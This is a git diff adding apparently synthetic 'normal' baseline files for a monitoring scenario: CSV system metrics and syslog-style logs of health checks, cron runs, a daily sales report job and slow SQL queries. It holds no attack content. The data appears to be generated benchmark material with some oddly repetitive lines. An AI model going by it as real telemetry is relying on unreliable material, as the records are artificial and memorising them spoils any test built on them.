04:00:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 13 04:01:10 web-app[1234]: GET /api/v1/health status=200 OK +Aug 13 04:01:15 systemd[1]: Starting daily clean up activities... +Aug 13 04:01:45 web-app[1234]: GET /api/v1/health status=200 OK +Aug 13 04:01:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 13 04:02:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 13 04:02:30 systemd[1]: Starting daily clean up activities... +Aug 13 04:02:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 13 04:02:55 web-app[1234]: GET /api/v1/health status=200 OK +Aug 13 04:03:00 postgres[5678]: HINT: LOG: slow query: SELECT product_id, SUM(amount) FROM sales WHERE created_at >= '2025-08-12' AND created_at < '2025-08-13' GROUP BY product_id; duration: 150.123 ms +Aug 13 04:03:30 web-app[1234]: GET /api/v1/health status=200 OK +Aug 13 04:03:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 13 04:03:45 systemd[1]: Starting daily clean up activities... +Aug 13 04:04:05 web-app[1234]: GET /api/v1/health status=200 OK +Aug 13 04:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 13 04:04:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 13 04:05:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:05:15 web-app[1234]: GET /api/v1/health status=200 OK +Aug 13 04:05:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 13 04:05:50 web-app[1234]: GET /api/v1/health status=200 OK +Aug 13 04:06:15 systemd[1]: Starting daily clean up activities... +Aug 13 04:06:25 web-app[1234]: GET /api/v1/health status=200 OK +Aug 13 04:06:40 report-job[4510]: INFO: Report job completed successfully. 54321 records processed. +Aug 13 04:07:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 13 04:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_3/norm_3_18.csv b/norm_dataset/scenario_3/norm_3_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..932188c838d3af59d0ff54f3177c529f61729c16 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-08-13T04:06:40Z,10.8,43.19,5.98,1.02,0.96 +2025-08-13T04:06:45Z,13.64,41.22,7.2,0.82,0.76 +2025-08-13T04:06:50Z,15.7,43.74,5.89,1.45,0.82 +2025-08-13T04:06:55Z,17.3,44.09,7.96,1.06,0.98 +2025-08-13T04:07:00Z,15.11,38.67,11.2,1.38,1.01 +2025-08-13T04:07:05Z,16.17,36.55,12.54,0.84,1.08 +2025-08-13T04:07:10Z,14.79,40.5,9.42,1.3,1.02 +2025-08-13T04:07:15Z,19.93,42.84,7.84,1.32,0.77 +2025-08-13T04:07:20Z,10.49,37.59,6.19,1.39,1.28 +2025-08-13T04:07:25Z,10.13,38.22,13.61,0.82,1.02 diff --git a/norm_dataset/scenario_3/norm_3_18.log b/norm_dataset/scenario_3/norm_3_18.log new file mode 100644 index 0000000000000000000000000000000000000000..fab5fdc52a9b1b83b3396f02ce97d426f54ca8e5 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_18.log @@ -0,0 +1,11 @@ +Aug 13 04:00:00 systemd[1]: Starting daily network connection upkeep... +Aug 13 04:00:05 web-app[1234]: GET /api/v1/health status=200 OK +Aug 13 04:00:10 report-runner[6789]: INFO: Starting daily_sales_report_job. +Aug 13 04:00:15 report-runner[6789]: INFO: Aggregating records from 2025-08-12 00:00 to 23:59. +Aug 13 04:01:00 CRON[7788]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 13 04:02:30 systemd[1]: Starting session-c2.scope. +Aug 13 04:03:00 mysqld[555]: [slow_query] Query_time: 180.52 Lock_time: 5.12 Rows_sent: 15230 Rows_examined: 5839201 SELECT customer_id, SUM(amount) FROM sales WHERE sale_date BETWEEN '2025-08-12 00:00:00' AND '2025-08-12 23:59:59' GROUP BY customer_id; +Aug 13 04:05:30 report-runner[6789]: INFO: Aggregation complete. Writing report to database. +Aug 13 04:06:00 report-runner[6789]: INFO: Report job completed. +Aug 13 04:06:30 web-app[1234]: GET /api/v1/health status=200 OK +Aug 13 04:07:00 systemd[1]: Daily network connection upkeep finished. diff --git a/norm_dataset/scenario_3/norm_3_19.csv b/norm_dataset/scenario_3/norm_3_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..e4c99dbe56a8cc7a12b3e0258743dd99c9e0fa8a --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T04:00:00Z,16.8,39.74,31.38,0.67,0.54 +2025-08-14T04:00:05Z,16.3,43.94,36.05,0.62,0.97 +2025-08-14T04:00:10Z,13.59,42.7,27.93,1.32,0.79 +2025-08-14T04:00:15Z,18.81,36.71,29.35,1.37,0.85 +2025-08-14T04:00:20Z,13.82,38.15,33.28,1.03,1.26 +2025-08-14T04:00:25Z,10.76,37.42,24.03,0.57,0.99 +2025-08-14T04:00:30Z,93.11,47.85,91.25,2.29,1.1 +2025-08-14T04:00:35Z,89.37,47.3,95.0,2.69,2.22 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+2025-08-14T04:07:20Z,14.41,36.01,23.84,0.97,1.02 +2025-08-14T04:07:25Z,16.29,40.31,22.47,1.47,1.03 diff --git a/norm_dataset/scenario_3/norm_3_19.log b/norm_dataset/scenario_3/norm_3_19.log new file mode 100644 index 0000000000000000000000000000000000000000..7ddf48242eb6f0433de1ddd491d0d88b7f639f23 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_19.log @@ -0,0 +1,10 @@ +Aug 14 04:00:00 systemd[1]: Starting daily cleanup activities... +Aug 14 04:00:10 web-app[1234]: GET /api/v1/status status=200 OK +Aug 14 04:00:20 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 14 04:00:30 report-generator[4567]: INFO: Starting daily_sales_report_job. +Aug 14 04:00:35 report-generator[4567]: INFO: Aggregating records from 2025-08-13 00:00 to 23:59. +Aug 14 04:02:30 web-app[1234]: GET /api/v1/user/99 status=200 OK +Aug 14 04:04:10 db-postgres[5432]: LOG: checkpoint starting: time +Aug 14 04:06:00 report-generator[4567]: INFO: Report job completed. +Aug 14 04:06:25 web-app[1234]: GET /api/v1/status status=200 OK +Aug 14 04:06:50 systemd[1]: Daily cleanup activities finished. diff --git a/norm_dataset/scenario_3/norm_3_2.csv b/norm_dataset/scenario_3/norm_3_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..6584abe0ed8d493978bec3b162a06eaa0adb6c5d --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T03:58:00Z,19.35,43.1,36.49,1.23,0.67 +2025-08-13T03:58:05Z,18.03,39.54,31.2,0.78,0.76 +2025-08-13T03:58:10Z,14.21,41.59,32.62,1.39,1.47 +2025-08-13T03:58:15Z,16.05,35.65,39.76,0.82,1.1 +2025-08-13T03:58:20Z,17.02,38.06,26.94,0.85,0.52 +2025-08-13T03:58:25Z,19.7,41.09,34.87,1.39,0.77 +2025-08-13T03:58:30Z,13.78,37.47,26.31,1.32,0.95 +2025-08-13T03:58:35Z,16.22,42.2,36.71,1.08,0.99 +2025-08-13T03:58:40Z,13.44,43.44,32.85,0.56,0.63 +2025-08-13T03:58:45Z,10.77,42.51,38.96,1.1,1.05 +2025-08-13T03:58:50Z,10.19,41.34,23.5,1.36,0.58 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+2025-08-13T04:05:20Z,13.51,44.2,28.3,1.24,0.69 +2025-08-13T04:05:25Z,14.99,36.57,20.59,0.73,1.22 diff --git a/norm_dataset/scenario_3/norm_3_2.log b/norm_dataset/scenario_3/norm_3_2.log new file mode 100644 index 0000000000000000000000000000000000000000..c27d822bb03e6a9d9077be4e0edee11d708555c9 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_2.log @@ -0,0 +1,12 @@ +Aug 13 03:58:00 systemd[1]: Starting daily clean up activities... +Aug 13 03:58:25 web-app[2233]: GET /api/v1/health status=200 OK +Aug 13 03:59:10 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 13 03:59:55 web-app[2233]: GET /api/v1/health status=200 OK +Aug 13 04:00:00 report-job[5678]: INFO: Starting daily_sales_report_job. +Aug 13 04:00:10 report-job[5678]: INFO: Aggregating records from 2025-08-12 00:00 to 23:59. +Aug 13 04:01:30 postgres-slow[9876]: LOG: slow query: SELECT product_id, SUM(amount) FROM sales WHERE sale_date = '2025-08-12' GROUP BY product_id; +Aug 13 04:03:00 report-job[5678]: INFO: Data aggregation phase complete. Generating report... +Aug 13 04:04:45 report-job[5678]: INFO: Saving report to database. +Aug 13 04:05:00 report-job[5678]: INFO: Report job completed successfully. +Aug 13 04:05:10 web-app[2233]: GET /api/v1/reports/latest status=200 OK +Aug 13 04:05:25 systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_3/norm_3_20.csv b/norm_dataset/scenario_3/norm_3_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..409ebefac7e5a31946add095463c511090c135aa --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T04:00:00Z,13.35,36.78,27.68,1.14,0.78 +2025-08-14T04:00:05Z,18.87,40.81,33.01,0.84,1.06 +2025-08-14T04:00:10Z,19.24,44.11,33.6,1.29,0.87 +2025-08-14T04:00:15Z,15.5,37.99,28.73,1.28,0.89 +2025-08-14T04:00:20Z,14.95,37.3,22.09,0.97,0.95 +2025-08-14T04:00:25Z,19.09,44.55,27.25,0.87,0.98 +2025-08-14T04:00:30Z,16.88,37.41,25.21,0.88,1.28 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+2025-08-14T04:07:15Z,19.79,42.89,34.91,1.22,0.86 +2025-08-14T04:07:20Z,19.0,39.71,20.85,1.18,1.01 +2025-08-14T04:07:25Z,15.0,38.57,25.5,1.22,1.06 diff --git a/norm_dataset/scenario_3/norm_3_20.log b/norm_dataset/scenario_3/norm_3_20.log new file mode 100644 index 0000000000000000000000000000000000000000..6bdc35e114d3b4a9a5a60036cd04951b9a11b13a --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_20.log @@ -0,0 +1,33 @@ +Aug 14 04:00:00 systemd[1]: Starting daily clean up activities... +Aug 14 04:00:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:00:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 14 04:00:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:01:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:01:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:01:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 14 04:01:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:02:00 report-job[5510]: INFO: Starting daily_sales_report_job. +Aug 14 04:02:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:02:10 report-job[5510]: INFO: Aggregating records from 2025-08-13 00:00:00 to 2025-08-13 23:59:59. +Aug 14 04:02:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:02:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 14 04:02:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:03:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:03:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:03:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 14 04:03:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:04:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:04:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 14 04:04:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:05:00 systemd[1]: Starting daily clean up activities... +Aug 14 04:05:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:05:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 14 04:05:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:05:50 report-job[5510]: INFO: Report job completed successfully. +Aug 14 04:06:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:06:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:06:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 14 04:06:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:07:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 14 04:07:20 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_21.csv b/norm_dataset/scenario_3/norm_3_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..2a9a80b197ccab0eb055e7a445cb587a8ccd7177 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-21T04:00:00Z,17.3,49.55,8.61,1.03,0.76 +2025-08-21T04:00:05Z,14.02,46.47,7.72,1.52,0.75 +2025-08-21T04:00:10Z,15.28,41.87,8.91,1.22,1.03 +2025-08-21T04:00:15Z,17.36,45.65,12.02,1.35,0.51 +2025-08-21T04:00:20Z,17.69,44.47,12.86,1.44,1.02 +2025-08-21T04:00:25Z,14.97,42.72,10.82,1.19,0.75 +2025-08-21T04:00:30Z,11.67,44.73,9.27,1.06,1.0 +2025-08-21T04:00:35Z,17.64,42.83,12.18,0.8,0.7 +2025-08-21T04:00:40Z,13.9,45.22,11.22,0.8,0.68 +2025-08-21T04:00:45Z,15.05,43.91,11.67,0.78,0.92 +2025-08-21T04:00:50Z,15.73,49.39,7.78,0.8,0.6 +2025-08-21T04:00:55Z,7.84,45.23,11.54,0.52,0.5 +2025-08-21T04:01:00Z,87.39,54.21,99.08,1.18,0.54 +2025-08-21T04:01:05Z,87.24,56.34,89.47,0.94,1.09 +2025-08-21T04:01:10Z,94.49,51.62,83.85,1.2,0.6 +2025-08-21T04:01:15Z,89.48,60.8,86.92,1.08,1.1 +2025-08-21T04:01:20Z,85.75,56.56,87.74,1.26,0.92 +2025-08-21T04:01:25Z,79.89,54.17,83.75,1.13,0.93 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21 04:00:35 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 04:01:00 batch-processor[4567]: INFO: Starting daily_sales_report_job. +Aug 21 04:01:05 batch-processor[4567]: INFO: Aggregating records from 2025-08-20 00:00 to 23:59. +Aug 21 04:01:10 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 04:01:45 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 04:02:05 systemd[1]: Starting daily clean up activities... +Aug 21 04:02:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 04:02:55 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 04:03:20 CRON[8022]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 04:03:30 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 04:04:05 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 04:04:10 systemd[1]: Starting daily clean up activities... +Aug 21 04:04:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 04:05:05 batch-processor[4567]: INFO: Report job completed. +Aug 21 04:05:15 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 04:05:50 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 04:06:15 systemd[1]: Starting daily clean up activities... +Aug 21 04:06:25 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 04:07:00 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_22.csv b/norm_dataset/scenario_3/norm_3_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..c194a4cb82e362f1ddf7fd5399eda52a1e17b8ff --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,17.831266945377585,42.342567855543685,22.124275991536898,1.038375850585593,1.0350939554516876 +2025-08-13T04:00:05Z,16.837498926572337,40.63375713910173,39.139547332119434,0.7338143514401106,1.4139549124455666 +2025-08-13T04:00:10Z,13.132960241376495,38.76714069010151,23.396233242815864,0.6499556216732191,0.6856806793328992 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0000000000000000000000000000000000000000..1845f85bcace6b2abef3d16a621dd852dcab701f --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_22.log @@ -0,0 +1,11 @@ +Aug 13 04:00:00 systemd[1]: Starting daily user-backup activities... +Aug 13 04:00:15 web-app[1234]: GET /api/v1/health status=200 OK +Aug 13 04:00:45 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 13 04:01:00 data-aggregator[4567]: INFO: Starting daily_sales_report_job. +Aug 13 04:01:05 data-aggregator[4567]: INFO: Aggregating records from 2025-08-12 00:00:00 to 2025-08-12 23:59:59. +Aug 13 04:02:30 web-app[1234]: GET /api/v1/status status=200 OK +Aug 13 04:04:00 systemd[1]: Starting session-c2.scope. +Aug 13 04:05:15 kubelet[2345]: INFO Liveness probe succeeded for pod report-db-deployment +Aug 13 04:05:50 data-aggregator[4567]: INFO: Report job completed successfully. Report saved to /var/reports/daily_sales_2025-08-12.csv. +Aug 13 04:07:00 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 13 04:07:20 systemd[1]: Daily user-backup activities finished. diff --git a/norm_dataset/scenario_3/norm_3_23.csv b/norm_dataset/scenario_3/norm_3_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..5d0558d89542886cab5266bc77c685690dc4a184 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-14T04:00:00Z,16.8,39.74,31.38,0.67,0.54 +2025-08-14T04:00:05Z,16.3,43.94,36.05,0.62,0.97 +2025-08-14T04:00:10Z,13.59,42.7,27.93,1.32,0.79 +2025-08-14T04:00:15Z,18.81,36.71,29.35,1.37,0.85 +2025-08-14T04:00:20Z,13.82,38.15,33.28,1.03,1.26 +2025-08-14T04:00:25Z,10.76,37.42,24.03,0.57,0.99 +2025-08-14T04:00:30Z,15.6,37.85,31.3,1.03,0.56 +2025-08-14T04:00:35Z,13.01,37.3,35.07,1.29,1.32 +2025-08-14T04:00:40Z,13.45,41.23,35.08,0.65,0.55 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+2025-08-14T04:07:15Z,18.2,38.26,39.16,0.55,0.82 +2025-08-14T04:07:20Z,13.34,44.42,38.67,1.04,0.82 +2025-08-14T04:07:25Z,19.6,42.68,32.04,0.94,1.08 diff --git a/norm_dataset/scenario_3/norm_3_23.log b/norm_dataset/scenario_3/norm_3_23.log new file mode 100644 index 0000000000000000000000000000000000000000..520f4faf8a7557c380813fb233cd4d49368e5ae4 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_23.log @@ -0,0 +1,15 @@ +Aug 14 04:00:00 server-1 systemd[1]: Starting daily clean up activities... +Aug 14 04:00:15 server-1 web-app[3456]: GET /health status=200 OK +Aug 14 04:00:40 server-1 sshd[8765]: Accepted publickey for user root from 192.168.1.100 port 22 +Aug 14 04:01:30 server-1 web-app[3456]: GET /health status=200 OK +Aug 14 04:02:00 server-1 CRON[9981]: (root) CMD (/usr/local/bin/run_daily_sales_report.sh) +Aug 14 04:02:02 server-1 report-job[9985]: INFO: Starting daily_sales_report_job. +Aug 14 04:02:05 server-1 report-job[9985]: INFO: Connecting to database 'sales_db' on localhost. +Aug 14 04:02:08 server-1 report-job[9985]: INFO: Aggregating records from 2025-08-13 00:00 to 23:59. +Aug 14 04:04:55 server-1 report-job[9985]: INFO: Aggregation complete. Generated 5432 report entries. +Aug 14 04:04:57 server-1 report-job[9985]: INFO: Storing report to 'reports_db'. +Aug 14 04:04:59 server-1 report-job[9985]: INFO: Report job completed successfully in 173 seconds. +Aug 14 04:05:00 server-1 postgres[1122]: [3-1] LOG: duration: 167000.543 ms statement: SELECT date_trunc('day', order_date), product_id, SUM(quantity), SUM(price) FROM sales_records WHERE order_date >= '2025-08-13 00:00' AND order_date <= '2025-08-13 23:59' GROUP BY 1, 2; +Aug 14 04:05:30 server-1 web-app[3456]: GET /health status=200 OK +Aug 14 04:06:30 server-1 systemd[1]: Starting session c4 of user root. +Aug 14 04:07:25 server-1 web-app[3456]: GET /health status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_24.csv b/norm_dataset/scenario_3/norm_3_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..dc521f9c43f9c76bce436b1c8830b58b38b04105 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_24.csv @@ -0,0 +1,91 @@ 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+2025-08-14T04:06:35Z,14.65,35.3,5.57,0.81,1.39 +2025-08-14T04:06:40Z,11.39,35.88,10.3,0.91,1.04 +2025-08-14T04:06:45Z,12.05,36.67,13.88,1.08,1.31 +2025-08-14T04:06:50Z,10.03,39.13,9.81,1.39,1.62 +2025-08-14T04:06:55Z,12.01,37.98,10.49,1.05,1.88 +2025-08-14T04:07:00Z,13.62,39.06,6.78,1.44,1.21 +2025-08-14T04:07:05Z,14.51,36.45,14.26,0.59,0.87 +2025-08-14T04:07:10Z,12.13,38.25,13.9,1.18,0.83 +2025-08-14T04:07:15Z,10.58,35.67,13.21,0.77,1.22 +2025-08-14T04:07:20Z,12.97,37.06,10.61,1.22,1.44 +2025-08-14T04:07:25Z,13.88,37.98,7.86,0.84,1.98 diff --git a/norm_dataset/scenario_3/norm_3_24.log b/norm_dataset/scenario_3/norm_3_24.log new file mode 100644 index 0000000000000000000000000000000000000000..d01f2a3565412a37f56a896b4d1afd0e6d203887 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_24.log @@ -0,0 +1,23 @@ +Aug 14 04:00:00 web-app[1456]: GET /api/v1/health status=200 OK +Aug 14 04:00:10 CRON[4812]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 14 04:00:15 report-runner[5102]: INFO: Starting daily_sales_report_job. +Aug 14 04:00:21 report-runner[5102]: INFO: Aggregating records from 2025-08-13 00:00 to 23:59. +Aug 14 04:00:45 systemd[1]: Starting daily clean up activities... +Aug 14 04:01:00 systemd[1]: Starting daily clean up activities... +Aug 14 04:01:45 systemd[1]: Starting daily clean up activities... +Aug 14 04:02:00 systemd[1]: Starting daily clean up activities... +Aug 14 04:02:45 systemd[1]: Starting daily clean up activities... +Aug 14 04:03:00 systemd[1]: Starting daily clean up activities... +Aug 14 04:03:30 mysqld[887]: [Warning] Aborted connection 123 to db: 'reporting_db' user: 'report_user' host: 'localhost' (Got an error reading communication packets) +Aug 14 04:03:45 systemd[1]: Starting daily clean up activities... +Aug 14 04:04:00 systemd[1]: Starting daily clean up activities... +Aug 14 04:04:45 systemd[1]: Starting daily clean up activities... +Aug 14 04:05:00 systemd[1]: Starting daily clean up activities... +Aug 14 04:05:05 mysqld[887]: SLOW QUERY: user=report_user duration=245.6s query="SELECT product_id, SUM(amount), COUNT(*) FROM sales WHERE sale_date='2025-08-13' GROUP BY product_id;" +Aug 14 04:05:45 systemd[1]: Starting daily clean up activities... +Aug 14 04:06:00 systemd[1]: Starting daily clean up activities... +Aug 14 04:06:30 report-runner[5102]: INFO: Storing aggregated report to 'reports/daily_sales_2025-08-13.csv'. +Aug 14 04:06:45 systemd[1]: Starting daily clean up activities... +Aug 14 04:06:55 report-runner[5102]: INFO: Report job completed. +Aug 14 04:07:00 web-app[1456]: GET /api/v1/user/99 status=200 OK +Aug 14 04:07:20 web-app[1456]: GET /api/v1/user/99 status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_25.csv b/norm_dataset/scenario_3/norm_3_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..ae3d7c024e5ca90c2119c087c8d1589e1e48e414 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_25.csv @@ -0,0 +1,91 @@ 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+2025-08-14T04:06:30Z,18.97,36.33,7.34,0.99,1.16 +2025-08-14T04:06:35Z,14.92,40.99,11.09,1.23,1.29 +2025-08-14T04:06:40Z,15.19,39.49,10.53,1.23,1.25 +2025-08-14T04:06:45Z,15.18,42.41,6.88,0.95,1.14 +2025-08-14T04:06:50Z,13.06,39.66,8.3,1.43,1.23 +2025-08-14T04:06:55Z,17.73,40.21,10.22,1.4,0.77 +2025-08-14T04:07:00Z,14.72,38.11,12.48,0.81,1.17 +2025-08-14T04:07:05Z,17.72,38.66,10.13,1.49,1.11 +2025-08-14T04:07:10Z,14.15,43.54,11.24,1.25,1.29 +2025-08-14T04:07:15Z,13.92,40.83,11.7,1.0,0.97 +2025-08-14T04:07:20Z,14.57,38.62,6.58,1.1,0.79 +2025-08-14T04:07:25Z,16.94,37.42,11.14,0.93,1.18 diff --git a/norm_dataset/scenario_3/norm_3_25.log b/norm_dataset/scenario_3/norm_3_25.log new file mode 100644 index 0000000000000000000000000000000000000000..124b9e08927dcb19054907194f20a6274dfd17cd --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_25.log @@ -0,0 +1,12 @@ +Aug 14 04:00:10 systemd[1]: Starting daily network connection check... +Aug 14 04:00:25 CRON[8891]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 14 04:00:45 systemd[1]: Started Daily apt download activities. +Aug 14 04:01:00 report-job[9123]: INFO: Starting daily_sales_report_job. +Aug 14 04:01:15 report-job[9123]: INFO: Establishing connection to database 'sales_db' on localhost. +Aug 14 04:01:20 report-job[9123]: INFO: Connection successful. +Aug 14 04:01:25 report-job[9123]: INFO: Aggregating records from 2025-08-13 00:00 to 23:59. +Aug 14 04:03:30 mysqld[512]: [Note] Query_time: 125.467823 Lock_time: 0.000152 Rows_sent: 897 Rows_examined: 15789023 SQL: SELECT product_id, category, SUM(amount), COUNT(order_id) FROM sales_records WHERE sale_date BETWEEN '2025-08-13 00:00:00' AND '2025-08-13 23:59:59' GROUP BY 1, 2 ORDER BY 3 DESC; +Aug 14 04:05:30 report-job[9123]: INFO: Aggregation complete. Writing 897 rows to 'daily_sales_summary' table. +Aug 14 04:05:50 report-job[9123]: INFO: Report job completed successfully. Runtime: 300.12s. +Aug 14 04:05:55 report-job[9123]: INFO: Closing database connection. +Aug 14 04:06:45 systemd[1]: Starting log rotation... diff --git a/norm_dataset/scenario_3/norm_3_26.csv b/norm_dataset/scenario_3/norm_3_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..d7d5f0fcadd412e8bdb3ca21f25b335a394bc4ae --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,17.88,39.59,20.82,0.93,0.88 +2025-08-13T04:00:05Z,15.67,43.12,32.04,1.02,1.1 +2025-08-13T04:00:10Z,16.72,43.22,26.53,1.15,0.84 +2025-08-13T04:00:15Z,15.95,43.83,23.79,1.1,0.92 +2025-08-13T04:00:20Z,17.28,43.02,21.87,1.15,0.73 +2025-08-13T04:00:25Z,13.08,42.45,26.19,1.07,0.82 +2025-08-13T04:00:30Z,11.4,39.32,23.92,0.91,0.88 +2025-08-13T04:00:35Z,10.77,41.79,33.97,0.92,1.02 +2025-08-13T04:00:40Z,10.7,41.36,20.53,1.12,0.88 +2025-08-13T04:00:45Z,10.85,40.37,34.06,1.12,0.75 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a/norm_dataset/scenario_3/norm_3_26.log b/norm_dataset/scenario_3/norm_3_26.log new file mode 100644 index 0000000000000000000000000000000000000000..6ae5a2027e2948570be763f5b6b4701d390f4481 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_26.log @@ -0,0 +1,14 @@ +Aug 13 04:00:10 systemd[1]: Starting system activity report... +Aug 13 04:00:50 web-app[2231]: GET /api/v1/health status=200 OK +Aug 13 04:01:40 CRON[8876]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 13 04:01:55 CRON[8910]: (root) CMD (/usr/local/bin/run_daily_reports.sh) +Aug 13 04:02:00 report-runner[8912]: INFO: Starting daily_sales_report_job. +Aug 13 04:02:10 report-runner[8912]: INFO: Connecting to database "sales_db" on localhost. +Aug 13 04:02:20 report-runner[8912]: INFO: Aggregating records from 2025-08-12 00:00:00 to 2025-08-12 23:59:59. +Aug 13 04:03:15 mysqld[1024]: SLOW_QUERY: time=155.42s user=report_user query="SELECT date(created_at), product_id, SUM(amount) FROM sales_records WHERE created_at BETWEEN '2025-08-12 00:00:00' AND '2025-08-12 23:59:59' GROUP BY 1, 2;" +Aug 13 04:04:45 report-runner[8912]: INFO: Aggregation complete. Found 54,321 summary rows. +Aug 13 04:04:50 report-runner[8912]: INFO: Writing report to remote storage s3://reports/sales/daily_2025-08-12.csv. +Aug 13 04:04:55 report-runner[8912]: INFO: Report job completed successfully in 180.12 seconds. +Aug 13 04:05:50 web-app[2231]: GET /api/v1/health status=200 OK +Aug 13 04:06:40 systemd[1]: Daily apt download activities started. +Aug 13 04:07:20 kubelet[1120]: INFO Liveness probe for pod web-app-7d7c6c48f8-z9q4x succeeded. diff --git a/norm_dataset/scenario_3/norm_3_27.csv b/norm_dataset/scenario_3/norm_3_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..8946f4d784f350bd049a7f1907a4f5c6ab1a5740 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_27.csv @@ -0,0 